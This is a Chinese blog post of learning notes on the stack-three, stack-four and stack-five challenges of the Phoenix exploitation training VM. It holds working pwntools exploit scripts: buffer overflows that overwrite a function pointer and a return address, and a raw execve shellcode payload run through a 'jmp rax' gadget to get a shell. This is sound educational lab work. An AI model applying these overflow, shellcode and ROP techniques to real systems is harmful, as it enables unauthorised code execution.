# [pwn笔记2]stack-three, stack-four, stack-five(Phoenix) **Published by:** [BuringStraw](https://paragraph.com/@buringstraw/) **Published on:** 2023-03-24 **URL:** https://paragraph.com/@buringstraw/pwn-2-stack-three-stack-four-stack-five-phoenix ## Content 最近又是数模又是开学的,很难受,还是看看远方的水入门题吧。没有动态基址,还是比较简单的。 (写这段的时候还没想到接下来还有概率论考试,还打了场ctf校赛,所以。。。)stack-three覆盖一个即将被调用的函数指针的数据,跟前面差不多。from pwn import * shell = ssh("user", "localhost", password="user", port=2222) s = b"a" * 0x40 + p64(0x40069d) sh = shell.run(b"/opt/phoenix/amd64/stack-three") sh.recvlines(1) sh.sendline(s) print(sh.recvlines(2)) stack-four覆盖栈上的返回地址。notion image0x648-0x5f0=88from pwn import * shell = ssh("user", "localhost", password="user", port=2222) s = b"a" * 88 + p64(0x40061d) sh = shell.run(b"/opt/phoenix/amd64/stack-four") sh.recvlines(1) sh.sendline(s) print(sh.recvlines(2)) stack-five需要拿到shell。由于栈是可执行的,可以利用gets来把shellcode读进来,覆盖返回地址来执行shellcode。 这个过程看起来非常完美,可是不知道为什么返回到栈上执行两步就会段错误。关掉了aslr,尝试了附加调试和取消gdb环境变量,以消除栈地址的变化,都没有进展。 后来看到了另一个方法:调用gets之前,s被放入了rax中。所以直接把shellcode放到最前面就会被rax指向。 我们可以用rop,找到一段jmp rax,返回到那里,然后下一步就会跳到shellcode了。from pwn import * shell = ssh("user", "localhost", password="user", port=2222) total = 136 sc = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" jmp_rax = p64(0x400481) s = sc+b"a"*(total-len(sc))+jmp_rax sh = shell.run(b"/opt/phoenix/amd64/stack-five") sh.recvlines(1) sh.sendline(s) sh.interactive() 还有一件事,gef可以用以下命令调整context里stack显示的行数gef config context.nb_lines_stack 20 这样就不用在虚拟机里再装个peda了(这两个共存很卡)。 ## Publication Information - [BuringStraw](https://paragraph.com/@buringstraw/): Publication homepage - [All Posts](https://paragraph.com/@buringstraw/): More posts from this publication - [RSS Feed](https://api.paragraph.com/blogs/rss/@buringstraw): Subscribe to updates